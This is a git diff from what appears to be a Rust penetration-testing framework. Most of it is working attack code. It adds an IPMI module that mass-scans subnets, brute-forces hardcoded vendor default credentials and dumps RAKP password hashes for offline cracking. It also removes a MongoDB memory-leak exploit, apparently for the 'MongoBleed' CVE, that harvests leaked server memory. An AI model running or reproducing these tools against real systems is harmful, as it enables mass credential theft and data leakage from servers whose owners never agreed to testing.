.context("Connection timed out")??;
// Send data
stream.write_all(&header).await?;
stream.write_all(&payload).await?;
// Read response with timeout
let mut response = Vec::new();
let mut buf = [0u8; 4096];
let _ = timeout(Duration::from_secs(READ_TIMEOUT_SECS), async {
// First read
let n = stream.read(&mut buf).await?;
if n == 0 {
return Ok(());
}
response.extend_from_slice(&buf[..n]);
// Read remainder based on header length
while response.len() < 4
|| (response.len() >= 4
&& response.len()
< u32::from_le_bytes(response[0..4].try_into().unwrap_or([0, 0, 0, 0]))
as usize)
{
let n = stream.read(&mut buf).await?;
if n == 0 {
break;
}
response.extend_from_slice(&buf[..n]);
}
Ok::<(), anyhow::Error>(())
})
.await;
extract_leaks(&response)
}
/// Extract leaked data from response
fn extract_leaks(response: &[u8]) -> Result<Vec<Vec<u8>>> {
if response.len() < 25 {
return Ok(vec![]);
}
let opcode = u32::from_le_bytes(response[12..16].try_into().unwrap_or([0, 0, 0, 0]));
// Decompress if OP_COMPRESSED
let raw_data = if opcode == 2012 {
if response.len() > 25 {
let mut d = flate2::read::ZlibDecoder::new(&response[25..]);
let mut buffer = Vec::new();
if d.read_to_end(&mut buffer).is_ok() {
buffer
} else {
return Ok(vec![]);
}
} else {
return Ok(vec![]);
}
} else if response.len() > 16 {
response[16..].to_vec()
} else {
return Ok(vec![]);
};
let mut leaks = Vec::new();
// Search for "field name '...'" error pattern
let re_field = Regex::new(r"field name '([^']*)'")
.map_err(|e| anyhow::anyhow!("Regex error: {}", e))?;
for cap in re_field.captures_iter(&raw_data) {
if let Some(m) = cap.get(1) {
let data = m.as_bytes().to_vec();
// Filter common boring strings
if data != b"?" && data != b"a" && data != b"$db" && data != b"ping" {
leaks.push(data);
}
}
}
// Search for "type (\d+)" pattern
let re_type = Regex::new(r"type (\d+)")
.map_err(|e| anyhow::anyhow!("Regex error: {}", e))?;
for cap in re_type.captures_iter(&raw_data) {
if let Some(m) = cap.get(1) {
if let Ok(s) = std::str::from_utf8(m.as_bytes()) {
if let Ok(val) = s.parse::<u8>() {
leaks.push(vec![val]);
}
}
}
}
Ok(leaks)
}
@@ -112,7 +112,11 @@ async fn check_crlf(client: &Client, url: &str, findings: &mut Vec<String>) {
async fn check_purge(client: &Client, url: &str, findings: &mut Vec<String>) {
let target = format!("{}/test_purge", url);
if let Ok(resp) = client.request(reqwest::Method::from_bytes(b"PURGE").expect("Valid method bytes"), &target).send().await {
let method = match reqwest::Method::from_bytes(b"PURGE") {
Ok(m) => m,
Err(_) => return,
};
if let Ok(resp) = client.request(method, &target).send().await {
if resp.status().as_u16() == 204 {
let msg = format!("PURGE method is enabled on {}. This might allow cache poisoning/clearing.", target);
println!("{}", format!("[!] {}", msg).red().bold());
+5 -4
View File
@@ -124,9 +124,9 @@ pub async fn run(target: &str) -> Result<()> {
}
fn parse_single_target(raw: &str) -> Result<Vec<FtpCreds>> {
// Attempt parse as "IP:PORT:USER:PASS"
// Attempt parse as "IP:PORT:USER:PASS" (optional prefix scan)
// Regex matches 4 groups separated by colons
let re_full = Regex::new(r"^([^:]+):(\d+):([^:]+):(.*)$").map_err(|e| anyhow!("Regex error: {}", e))?;
let re_full = Regex::new(r"(?:\[\+\] FOUND:\s*)?([^:]+):(\d+):([^:]+):(.*)$").map_err(|e| anyhow!("Regex error: {}", e))?;
if let Some(caps) = re_full.captures(raw) {
let ip = caps.get(1).map_or("", |m| m.as_str()).to_string();
@@ -160,8 +160,9 @@ async fn parse_ftp_results(path: &str) -> Result<Vec<FtpCreds>> {
let lines = load_lines(path)?;
let mut creds = Vec::new();
// Standard Format: IP:PORT:USER:PASS
let re_std = Regex::new(r"^([^:]+):(\d+):([^:]+):(.*)$").map_err(|e| anyhow!("Regex error: {}", e))?;
// Standard Format: IP:PORT:USER:PASS, optionally prefixed with "[+] FOUND: "
// We allow spaces around the prefix.
let re_std = Regex::new(r"(?:\[\+\] FOUND:\s*)?([^:]+):(\d+):([^:]+):(.*)$").map_err(|e| anyhow!("Regex error: {}", e))?;
// Legacy/Old formats support (optional but good for transitions)
// IP:PORT [ANONYMOUS...]
-1
View File
@@ -1 +0,0 @@
pub mod heartbleed;
@@ -0,0 +1,798 @@
//! IPMI Enumeration and Exploitation Module - FIXED VERSION
//!
//! Comprehensive IPMI scanner supporting:
//! - Mass scanning (Single, Subnet, File list)
//! - Version detection (IPMI 1.5/2.0)
//! - Cipher 0 authentication bypass detection
//! - Anonymous authentication testing
//! - Default credential brute force
//! - RAKP hash dumping for offline cracking
//! - Supermicro-specific vulnerability checks
//!
//! Default Port: 623/UDP
//! FOR AUTHORIZED TESTING ONLY.
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::net::{IpAddr, SocketAddr};
use std::time::Duration;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use tokio::sync::Semaphore;
use tokio::net::UdpSocket;
use futures::stream::{FuturesUnordered, StreamExt};
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use tokio::sync::Mutex;
use crate::utils::{
normalize_target, prompt_default, prompt_port, prompt_yes_no,
prompt_required, prompt_existing_file, prompt_int_range,
};
// IPMI Constants
const IPMI_PORT: u16 = 623;
const RECV_TIMEOUT_MS: u64 = 3000;
const MAX_RETRIES: usize = 2;
// RMCP Header
const RMCP_VERSION: u8 = 0x06;
const RMCP_RESERVED: u8 = 0x00;
const RMCP_SEQ: u8 = 0xFF;
const RMCP_CLASS_IPMI: u8 = 0x07;
// IPMI Commands
const IPMI_CMD_GET_CHANNEL_AUTH_CAP: u8 = 0x38;
const IPMI_CMD_GET_SESSION_CHALLENGE: u8 = 0x39;
// Authentication Types
const AUTH_TYPE_NONE: u8 = 0x00;
const AUTH_TYPE_MD5: u8 = 0x02;
const AUTH_TYPE_RMCPP: u8 = 0x06;
// RAKP Payload Types
const PAYLOAD_RMCPP_OPEN_SESSION_REQUEST: u8 = 0x10;
const PAYLOAD_RAKP_MESSAGE_1: u8 = 0x12;
const PAYLOAD_RAKP_MESSAGE_2: u8 = 0x13;
// Default credentials
const DEFAULT_CREDS: &[(&str, &str, &str)] = &[
("Dell iDRAC", "root", "calvin"),
("IBM IMM", "USERID", "PASSW0RD"),
("Fujitsu iRMC", "admin", "admin"),
("Supermicro IPMI", "ADMIN", "ADMIN"),
("Oracle/Sun ILOM", "root", "changeme"),
("ASUS iKVM BMC", "admin", "admin"),
("Generic", "admin", "admin"),
("Generic", "root", "root"),
("Generic", "Administrator", "password"),
];
#[derive(Debug, Clone)]
struct IpmiInfo {
ip: IpAddr,
version: String,
auth_types: Vec<String>,
cipher_zero_vulnerable: bool,
anonymous_access: bool,
valid_creds: Option<(String, String, String)>,
rakp_hash: Option<String>,
supermicro_upnp_open: bool,
supermicro_49152_open: bool,
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ IPMI Enumeration & Exploitation Module (FIXED) ║".cyan());
println!("{}", "║ Mass Scan, Cipher 0, Default Creds, Version Detection ║".cyan());
println!("{}", "║ FOR AUTHORIZED TESTING ONLY ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("Select operation mode:");
println!(" 1. Single Target");
println!(" 2. Subnet Scan (CIDR)");
println!(" 3. Target List (File)");
println!();
let mode = prompt_required("Select mode [1-3]: ")?;
let targets = match mode.as_str() {
"1" => {
let t = if target.trim().is_empty() {
prompt_required("Target IP: ")?
} else {
target.to_string()
};
vec![normalize_target(&t)?]
},
"2" => {
let cidr = if target.trim().is_empty() || !target.contains('/') {
prompt_required("Target CIDR (e.g., 192.168.1.0/24): ")?
} else {
target.to_string()
};
cidr.parse::<ipnetwork::IpNetwork>()
.context("Invalid CIDR format")?
.iter()
.map(|ip| ip.to_string())
.collect()
},
"3" => {
let path = prompt_existing_file("Path to target list file: ")?;
let content = tokio::fs::read_to_string(path)
.await
.context("Failed to read target file")?;
content.lines()
.map(|s| s.trim().to_string())
.filter(|s| !s.is_empty())
.collect()
},
_ => return Err(anyhow!("Invalid selection")),
};
if targets.is_empty() {
return Err(anyhow!("No valid targets found"));
}
// Check for extremely large scans
if targets.len() > 100000 {
println!("{}", format!("[!] Warning: Large scan detected ({} targets).", targets.len()).yellow().bold());
if !prompt_yes_no("This may consume significant memory and time. Continue?", false)? {
return Ok(());
}
}
println!("[*] Loaded {} targets", targets.len());
let port = prompt_port("IPMI Port", IPMI_PORT)?;
let test_cipher_zero = prompt_yes_no("Test Cipher 0 vulnerability?", true)?;
let test_anonymous = prompt_yes_no("Test anonymous authentication?", true)?;
let test_default_creds = prompt_yes_no("Test default credentials?", true)?;
let test_rakp_hash = prompt_yes_no("Attempt RAKP hash dumping (IPMI 2.0)?", true)?;
let concurrency = if targets.len() > 1 {
prompt_int_range("Max concurrent scans", 50, 1, 10000)? as usize
} else {
1
};
let output_file = prompt_default("Output result file", "ipmi_scan_results.csv")?;
println!("\n{}", "=== Starting IPMI Scan ===".bold().cyan());
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
let total_targets = targets.len();
// Progress monitoring task
if total_targets > 1 {
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
let checked = s_checked.load(Ordering::Relaxed);
let found = s_found.load(Ordering::Relaxed);
if checked >= total_targets { break; }
println!(
"[*] Progress: {}/{} checked, {} IPMI found",
checked, total_targets, found.to_string().green().bold()
);
}
});
}
let mut tasks = FuturesUnordered::new();
// Initialize output file with proper CSV headers
let output_file_handle = OpenOptions::new()
.create(true)
.write(true)
.truncate(true)
.open(&output_file)
.await
.context("Failed to create output file")?;
let mut file_handle = output_file_handle;
file_handle.write_all(format!("IPMI Scan Results - {}\n", chrono::Local::now()).as_bytes()).await?;
file_handle.write_all(b"IP,Port,Version,AuthTypes,Exploits,Cipher0,Anonymous,Credentials,RAKP_Hash,UPnP_1900,Port_49152\n").await?;
let output_file_arc = Arc::new(Mutex::new(file_handle));
for target_str in targets {
let sem = semaphore.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file_arc.clone();
let target_ip_str = target_str.clone();
tasks.push(tokio::spawn(async move {
let _permit = sem.acquire().await.unwrap();
// Resolve IP
let ip_res = if let Ok(ip) = target_ip_str.parse::<IpAddr>() {
Ok(ip)
} else {
match tokio::net::lookup_host(format!("{}:{}", target_ip_str, port)).await {
Ok(mut iter) => iter.next()
.map(|s| s.ip())
.ok_or_else(|| anyhow!("No IP resolved")),
Err(e) => Err(anyhow!(e)),
}
};
if let Ok(ip) = ip_res {
let addr = SocketAddr::new(ip, port);
// Perform Scan
match scan_host(addr, test_cipher_zero, test_anonymous, test_default_creds, test_rakp_hash).await {
Ok(Some(info)) => {
sf.fetch_add(1, Ordering::Relaxed);
// Display Result
let vuln_str = if info.cipher_zero_vulnerable { " [CIPHER0]".red().bold() } else { "".into() };
let anon_str = if info.anonymous_access { " [ANON]".red().bold() } else { "".into() };
let rakp_str = if info.rakp_hash.is_some() { " [HASH]".magenta().bold() } else { "".into() };
let upnp_str = if info.supermicro_upnp_open { " [UPNP]".yellow().bold() } else { "".into() };
let port_str = if info.supermicro_49152_open { " [49152]".yellow().bold() } else { "".into() };
let cred_str = if let Some((v, u, p)) = &info.valid_creds {
format!(" [CRED: {} {}:{}]", v, u, p).green().bold()
} else {
"".into()
};
println!("[+] {}: {} {}{}{}{}{}{}",
info.ip,
info.version.green(),
vuln_str,
anon_str,
rakp_str,
upnp_str,
port_str,
cred_str
);
// Save to file (thread-safe)
{
let mut file_guard = of.lock().await;
let auth_types_str = info.auth_types.join("; ");
let mut exploits = Vec::new();
if info.cipher_zero_vulnerable { exploits.push("CIPHER0_BYPASS"); }
if info.anonymous_access { exploits.push("ANON_AUTH"); }
if info.rakp_hash.is_some() { exploits.push("RAKP_HASH_DUMP"); }
if info.supermicro_upnp_open { exploits.push("UPNP_1900"); }
if info.supermicro_49152_open { exploits.push("SUPERMICRO_49152"); }
if info.valid_creds.is_some() { exploits.push("DEFAULT_CREDS"); }
let exploit_str = if exploits.is_empty() {
"VERSION_ONLY".to_string()
} else {
exploits.join(", ")
};
let cipher0_str = if info.cipher_zero_vulnerable { "Yes" } else { "No" };
let anon_str = if info.anonymous_access { "Yes" } else { "No" };
let creds_str = if let Some((v, u, p)) = &info.valid_creds {
format!("Yes - {} ({}:{})", v, u, p)
} else {
"No".to_string()
};
let rakp_str = info.rakp_hash.as_ref().unwrap_or(&"No".to_string()).clone();
let upnp_str = if info.supermicro_upnp_open { "Yes" } else { "No" };
let p49152_str = if info.supermicro_49152_open { "Yes" } else { "No" };
let line = format!(
"{},{},{},{},{},{},{},{},{},{},{}",
info.ip,
port,
info.version,
auth_types_str,
exploit_str,
cipher0_str,
anon_str,
creds_str,
rakp_str,
upnp_str,
p49152_str
);
let _ = file_guard.write_all(format!("{}\n", line).as_bytes()).await;
}
},
Ok(None) => {
// No IPMI service detected
},
Err(e) => {
eprintln!("[!] Error scanning {}: {}", ip, e);
}
}
}
sc.fetch_add(1, Ordering::Relaxed);
}));
}
// Wait for all tasks to complete
while tasks.next().await.is_some() {}
let final_checked = stats_checked.load(Ordering::Relaxed);
let final_found = stats_found.load(Ordering::Relaxed);
println!("\n{}", "=== Scan Complete ===".green().bold());
println!("Targets scanned: {}", final_checked);
println!("IPMI services found: {}", final_found.to_string().green().bold());
println!("Results saved to: {}", output_file.cyan());
Ok(())
}
async fn scan_host(
addr: SocketAddr,
check_c0: bool,
check_anon: bool,
check_creds: bool,
check_rakp: bool,
) -> Result<Option<IpmiInfo>> {
// Use tokio async UDP socket
let socket = UdpSocket::bind("0.0.0.0:0")
.await
.context("Failed to bind UDP socket")?;
socket.connect(addr)
.await
.context("Failed to connect to target")?;
// 1. Detect Version
let (version, auth_types) = match detect_ipmi_version(&socket).await {
Ok(res) => res,
Err(_) => return Ok(None), // Not IPMI or unreachable
};
let mut info = IpmiInfo {
ip: addr.ip(),
version,
auth_types,
cipher_zero_vulnerable: false,
anonymous_access: false,
valid_creds: None,
rakp_hash: None,
supermicro_upnp_open: false,
supermicro_49152_open: false,
};
// 2. Check Cipher 0
if check_c0 && info.version.contains("2.0") {
if let Ok(true) = test_cipher_zero_vuln(&socket).await {
info.cipher_zero_vulnerable = true;
}
}
// 3. Check Anonymous Access
if check_anon {
if let Ok(true) = test_credentials(&socket, "", "").await {
info.anonymous_access = true;
}
}
// 4. Test Default Credentials
if check_creds {
for (vendor, user, pass) in DEFAULT_CREDS {
if let Ok(true) = test_credentials(&socket, user, pass).await {
info.valid_creds = Some((vendor.to_string(), user.to_string(), pass.to_string()));
break;
}
}
}
// 5. RAKP Hash Dump (IPMI 2.0 Only)
if check_rakp && info.version.contains("2.0") {
let target_users = ["admin", "root", "Administrator", "ADMIN"];
for user in target_users {
if let Ok(Some(hash)) = get_rakp_hash(&socket, user).await {
info.rakp_hash = Some(hash);
break;
}
}
}
// 6. Supermicro Checks (UPnP 1900 + Port 49152)
if scan_supermicro_upnp(addr.ip(), 1900).await {
info.supermicro_upnp_open = true;
}
if scan_supermicro_upnp(addr.ip(), 49152).await {
info.supermicro_49152_open = true;
}
Ok(Some(info))
}
// --- Helper Functions ---
fn build_rmcp_header() -> Vec<u8> {
vec![
RMCP_VERSION, // Version
RMCP_RESERVED, // Reserved
RMCP_SEQ, // Sequence (0xFF for no ack)
RMCP_CLASS_IPMI, // Class (IPMI)
]
}
fn build_get_auth_cap_request(channel: u8, privilege: u8) -> Vec<u8> {
let mut packet = build_rmcp_header();
packet.push(AUTH_TYPE_NONE);
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session Seq
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session ID
// Message data starts here (after IPMI session header)
let msg_start = packet.len();
packet.push(0x09); // Message length (will be adjusted)
packet.push(0x20); // Target (BMC)
packet.push((0x06 << 2) | 0x00); // NetFn (0x06 = App) / LUN
let header_checksum = calculate_checksum(&packet[msg_start + 1..]);
packet.push(header_checksum);
packet.push(0x81); // Source (Requester)
packet.push((0x00 << 2) | 0x00); // Seq/LUN
packet.push(IPMI_CMD_GET_CHANNEL_AUTH_CAP);
packet.push(0x80 | channel); // Extended capabilities
packet.push(privilege);
let data_checksum = calculate_checksum(&packet[msg_start + 4..]);
packet.push(data_checksum);
// Update message length
packet[msg_start] = (packet.len() - msg_start - 1) as u8;
packet
}
fn build_session_challenge_request(auth_type: u8, username: &str) -> Vec<u8> {
let mut packet = build_rmcp_header();
packet.push(AUTH_TYPE_NONE);
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]);
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]);
let msg_start = packet.len();
packet.push(0x18); // Message length placeholder
packet.push(0x20);
packet.push((0x06 << 2) | 0x00); // NetFn / LUN
let header_checksum = calculate_checksum(&packet[msg_start + 1..msg_start + 3]);
packet.push(header_checksum);
packet.push(0x81);
packet.push((0x00 << 2) | 0x00);
packet.push(IPMI_CMD_GET_SESSION_CHALLENGE);
packet.push(auth_type);
let mut user_bytes = [0u8; 16];
let user_len = username.len().min(16);
user_bytes[..user_len].copy_from_slice(&username.as_bytes()[..user_len]);
packet.extend_from_slice(&user_bytes);
let data_checksum = calculate_checksum(&packet[msg_start + 4..]);
packet.push(data_checksum);
// Update message length
packet[msg_start] = (packet.len() - msg_start - 1) as u8;
packet
}
fn calculate_checksum(data: &[u8]) -> u8 {
let sum: u8 = data.iter().fold(0u8, |acc, &x| acc.wrapping_add(x));
(!sum).wrapping_add(1)
}
async fn detect_ipmi_version(socket: &UdpSocket) -> Result<(String, Vec<String>)> {
let request = build_get_auth_cap_request(0x0E, 0x04);
for attempt in 0..MAX_RETRIES {
socket.send(&request)
.await
.context("Failed to send Get Channel Auth Capabilities request")?;
let mut buffer = [0u8; 256];
match tokio::time::timeout(
Duration::from_millis(RECV_TIMEOUT_MS),
socket.recv(&mut buffer)
).await {
Ok(Ok(n)) if n > 20 => {
// Validate RMCP header
if buffer[0] != RMCP_VERSION || buffer[3] != RMCP_CLASS_IPMI {
continue;
}
// Check completion code (byte 20 in standard response)
if n < 24 { continue; }
let completion_code = buffer[20];
if completion_code != 0x00 {
return Err(anyhow!("IPMI returned error code: 0x{:02x}", completion_code));
}
let auth_type_support = buffer[22];
let extended_cap = if n > 24 { buffer[24] } else { 0 };
let mut auth_types = Vec::new();
if auth_type_support & 0x01 != 0 { auth_types.push("None".to_string()); }
if auth_type_support & 0x02 != 0 { auth_types.push("MD2".to_string()); }
if auth_type_support & 0x04 != 0 { auth_types.push("MD5".to_string()); }
if auth_type_support & 0x10 != 0 { auth_types.push("Password".to_string()); }
if auth_type_support & 0x20 != 0 { auth_types.push("OEM".to_string()); }
let version = if extended_cap & 0x02 != 0 {
"IPMI 2.0".to_string()
} else {
"IPMI 1.5".to_string()
};
return Ok((version, auth_types));
}
Ok(Ok(_)) => continue,
Ok(Err(e)) => {
if attempt == MAX_RETRIES - 1 {
return Err(anyhow!("Recv error: {}", e));
}
continue;
}
Err(_) => {
if attempt == MAX_RETRIES - 1 {
return Err(anyhow!("Timeout waiting for response"));
}
continue;
}
}
}
Err(anyhow!("No valid response after {} retries", MAX_RETRIES))
}
async fn test_cipher_zero_vuln(socket: &UdpSocket) -> Result<bool> {
// Cipher 0 means authentication can be bypassed with "None" auth type
// We already check this in detect_ipmi_version by looking at auth_type_support
// This is a simplified check - for IPMI 2.0, cipher suite 0 specifically means
// no authentication, no integrity, no confidentiality
let request = build_get_auth_cap_request(0x0E, 0x04);
socket.send(&request).await?;
let mut buffer = [0u8; 256];
match tokio::time::timeout(
Duration::from_millis(RECV_TIMEOUT_MS),
socket.recv(&mut buffer)
).await {
Ok(Ok(n)) if n > 22 => {
let auth_type_support = buffer[22];
// If "None" authentication is supported, it's vulnerable
Ok(auth_type_support & 0x01 != 0)
}
_ => Ok(false),
}
}
async fn test_credentials(socket: &UdpSocket, username: &str, _password: &str) -> Result<bool> {
let request = build_session_challenge_request(AUTH_TYPE_MD5, username);
for _ in 0..MAX_RETRIES {
socket.send(&request).await?;
let mut buffer = [0u8; 256];
match tokio::time::timeout(
Duration::from_millis(RECV_TIMEOUT_MS),
socket.recv(&mut buffer)
).await {
Ok(Ok(n)) if n > 20 => {
let completion_code = buffer[20];
// 0x00 = success (user exists and session challenge returned)
// 0xCC = invalid user
if completion_code == 0x00 {
return Ok(true);
}
return Ok(false);
}
_ => continue,
}
}
Ok(false)
}
/// Retrieve RAKP Hash (HMAC-SHA1) for offline cracking
/// Returns formatted hash compatible with hashcat/john
async fn get_rakp_hash(socket: &UdpSocket, username: &str) -> Result<Option<String>> {
// Step 1: Send RMCP+ Open Session Request
let open_req = build_rmcpp_open_session_request();
socket.send(&open_req).await.context("Failed to send Open Session Request")?;
let mut buffer = [0u8; 1024];
let n = match tokio::time::timeout(
Duration::from_millis(RECV_TIMEOUT_MS),
socket.recv(&mut buffer)
).await {
Ok(Ok(n)) if n > 36 => n,
_ => return Ok(None),
};
// Validate RMCP header
if buffer[0] != RMCP_VERSION { return Ok(None); }
// Parse Open Session Response
// Structure: RMCP(4) + Auth(1) + PayloadType(1) + SessionID(4) + Seq(4) + PayloadLen(2) + Payload
if buffer[5] != (PAYLOAD_RMCPP_OPEN_SESSION_REQUEST + 1) { // Response is request + 1
return Ok(None);
}
// Check status code in payload (offset 16)
if n < 28 || buffer[16] != 0x00 {
return Ok(None);
}
// Extract Managed System Session ID (offset 20-23, little-endian)
let managed_session_id = u32::from_le_bytes([
buffer[20], buffer[21], buffer[22], buffer[23]
]);
// Step 2: Send RAKP Message 1
let console_session_id = 0xAABBCCDD_u32; // Our chosen session ID
let console_random = [0x41u8; 16]; // Random nonce
let rakp1 = build_rakp_message_1(username, managed_session_id, console_session_id, &console_random);
socket.send(&rakp1).await.context("Failed to send RAKP Message 1")?;
// Step 3: Receive RAKP Message 2
let n = match tokio::time::timeout(
Duration::from_millis(RECV_TIMEOUT_MS),
socket.recv(&mut buffer)
).await {
Ok(Ok(n)) if n > 60 => n,
_ => return Ok(None),
};
// Validate RAKP Message 2
if buffer[0] != RMCP_VERSION { return Ok(None); }
if buffer[5] != PAYLOAD_RAKP_MESSAGE_2 { return Ok(None); }
// RAKP2 Payload starts at offset 16
// Structure: Tag(1) + Status(1) + Reserved(2) + Console Session ID(4) +
// Managed Random(16) + Managed GUID(16) + HMAC(20 for SHA1)
let rakp2_offset = 16;
if n < rakp2_offset + 60 { return Ok(None); }
let status = buffer[rakp2_offset + 1];
if status != 0x00 {
return Ok(None); // Authentication failed or user doesn't exist
}
// Extract salt (Managed System Random Number) - 16 bytes at offset 24
let salt_offset = rakp2_offset + 8;
let salt = &buffer[salt_offset..salt_offset + 16];
// Extract HMAC - typically last 20 bytes (SHA1) at offset 40
let hmac_offset = rakp2_offset + 40;
let hmac = &buffer[hmac_offset..hmac_offset + 20];
// Format for hashcat (mode 7300) or john
// Format: $rakp$<salt_hex>$<hmac_hex>$<username>$<session_id_hex>
let salt_hex = hex::encode(salt);
let hmac_hex = hex::encode(hmac);
let session_hex = format!("{:08x}", console_session_id);
let hash = format!("$rakp${}${}${}${}", salt_hex, hmac_hex, username, session_hex);
Ok(Some(hash))
}
fn build_rmcpp_open_session_request() -> Vec<u8> {
let mut p = build_rmcp_header();
p.push(AUTH_TYPE_RMCPP); // RMCP+ Auth Type
p.push(PAYLOAD_RMCPP_OPEN_SESSION_REQUEST); // Payload Type
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session ID (0 for setup)
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Sequence Number
// Payload Length (32 bytes) - little endian
p.extend_from_slice(&[0x20, 0x00]);
// Open Session Request Payload
p.push(0x00); // Message Tag
p.push(0x00); // Requested Max Privilege Level (0 = highest available)
p.extend_from_slice(&[0x00, 0x00]); // Reserved
// Console Session ID (our chosen ID)
p.extend_from_slice(&[0xAA, 0xBB, 0xCC, 0xDD]);
// Authentication Algorithm: RAKP-HMAC-SHA1
p.extend_from_slice(&[
0x00, 0x00, 0x00, 0x08, // Auth payload type + length
0x01, 0x00, 0x00, 0x00 // Algorithm: RAKP-HMAC-SHA1
]);
// Integrity Algorithm: HMAC-SHA1-96
p.extend_from_slice(&[
0x01, 0x00, 0x00, 0x08, // Integrity payload type + length
0x01, 0x00, 0x00, 0x00 // Algorithm: HMAC-SHA1-96
]);
// Confidentiality Algorithm: None
p.extend_from_slice(&[
0x02, 0x00, 0x00, 0x08, // Confidentiality payload type + length
0x00, 0x00, 0x00, 0x00 // Algorithm: None
]);
p
}
fn build_rakp_message_1(
username: &str,
managed_session_id: u32,
_console_session_id: u32,
console_random: &[u8; 16]
) -> Vec<u8> {
let mut p = build_rmcp_header();
p.push(AUTH_TYPE_RMCPP);
p.push(PAYLOAD_RAKP_MESSAGE_1);
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session ID (0)
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Sequence
// Calculate Payload Length
let payload_len = 1 + 3 + 4 + 16 + 1 + 1 + username.len();
p.extend_from_slice(&(payload_len as u16).to_le_bytes());
// RAKP Message 1 Payload
p.push(0x00); // Message Tag
p.extend_from_slice(&[0x00, 0x00, 0x00]); // Reserved
// Managed System Session ID (from Open Session Response)
p.extend_from_slice(&managed_session_id.to_le_bytes());
// Console Random Number (16 bytes)
p.extend_from_slice(console_random);
// Requested Max Privilege + Username present flag
p.push(0x14); // 0x10 (username present) | 0x04 (Admin privilege)
// Username Length and Username
p.push(username.len() as u8);
p.extend_from_slice(username.as_bytes());
p
}
async fn scan_supermicro_upnp(ip: IpAddr, port: u16) -> bool {
let addr = SocketAddr::new(ip, port);
if let Ok(socket) = UdpSocket::bind("0.0.0.0:0").await {
if socket.connect(addr).await.is_err() {
return false;
}
// M-SEARCH SSDP packet
let msg = "M-SEARCH * HTTP/1.1\r\n\
HOST: 239.255.255.250:1900\r\n\
MAN: \"ssdp:discover\"\r\n\
MX: 1\r\n\
ST: ssdp:all\r\n\r\n";
if socket.send(msg.as_bytes()).await.is_ok() {
let mut buf = [0u8; 1024];
match tokio::time::timeout(
Duration::from_millis(500),
socket.recv(&mut buf)
).await {
Ok(Ok(_)) => return true,
_ => return false,
}
}
}
false
}
+1
View File
@@ -0,0 +1 @@
pub mod ipmi_enum_exploit;
+10 -37
View File
@@ -1,42 +1,15 @@
pub mod generic;
pub mod sample_exploit;
pub mod payloadgens;
pub mod tplink;
pub mod trend_micro;
pub mod ssh;
pub mod spotube;
pub mod ftp;
pub mod zabbix;
pub mod abus;
pub mod uniview;
pub mod avtech;
pub mod acti;
pub mod zte;
pub mod ivanti;
pub mod apache_tomcat;
pub mod palo_alto;
pub mod php;
pub mod roundcube;
pub mod ruijie;
pub mod flowise;
pub mod sharepoint;
pub mod http2;
pub mod jenkins;
pub mod mongo;
pub mod nginx;
pub mod react;
pub mod hikvision;
pub mod n8n;
pub mod fortinet;
pub mod exim;
pub mod routers;
pub mod cameras;
pub mod windows;
pub mod webapps;
pub mod frameworks;
pub mod network_infra;
pub mod crypto;
pub mod ipmi;
pub mod dos;
pub mod dlink;
pub mod vmware;
pub mod ssh;
pub mod ftp;
pub mod telnet;
pub mod bluetooth;
pub mod tenda;
pub mod reolink;
pub mod qnap;
pub mod netgear;
pub mod ubiquiti;
pub mod zyxel;
-220
View File
@@ -1,220 +0,0 @@
use anyhow::{Context, Result};
use colored::*;
use std::io::{Read, Write};
use flate2::write::ZlibEncoder;
use flate2::Compression;
use tokio::net::TcpStream;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::time::{timeout, Duration};
use regex::bytes::Regex;
use std::fs::File;
/// MongoBleed Exploit (CVE-2025-14847)
///
/// Exploits zlib decompression bug to leak server memory via BSON field names.
/// Based on POC by Joe Desimone (https://github.com/joe-desimone/mongobleed)
/// and Neo23x0 (https://github.com/Neo23x0/mongobleed-detector)
pub async fn run(target: &str) -> Result<()> {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ MongoBleed (CVE-2025-14847) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!("{}", format!("[*] Target: {}", target).yellow());
// Normalize target using shared utility
let normalized = crate::utils::normalize_target(target)?;
let target_addr = if normalized.contains(':') {
normalized
} else {
format!("{}:27017", normalized)
};
let min_offset = 20;
let max_offset = 8192;
println!("{}", format!("[*] Scanning offsets {}-{}...", min_offset, max_offset).cyan());
let mut all_leaked = Vec::new();
let mut unique_leaks = std::collections::HashSet::new();
// Loop through offsets to try and trigger a leak
for doc_len in min_offset..max_offset {
// Python: response = send_probe(args.host, args.port, doc_len, doc_len + 500)
match send_probe(&target_addr, doc_len, doc_len + 500).await {
Ok(leaks) => {
for data in leaks {
if !unique_leaks.contains(&data) {
unique_leaks.insert(data.clone());
all_leaked.extend_from_slice(&data);
// Show interesting leaks (> 10 bytes) - matches Python logic
if data.len() > 10 {
let preview = String::from_utf8_lossy(&data).replace('\n', "\\n");
let preview_trunk: String = preview.chars().take(80).collect();
println!("[+] offset={:4} len={:4}: {}", doc_len, data.len(), preview_trunk.magenta());
}
}
}
}
Err(_) => {
// Connection errors are common during exploitation attempts, ignore and continue
}
}
}
// Save results
// Python saves to 'leaked.bin'
let output_file = "leaked_mongo_data.bin";
let mut f = File::create(output_file).context("Failed to create output file")?;
f.write_all(&all_leaked)?;
println!();
println!("{}", format!("[*] Total leaked: {} bytes", all_leaked.len()).yellow());
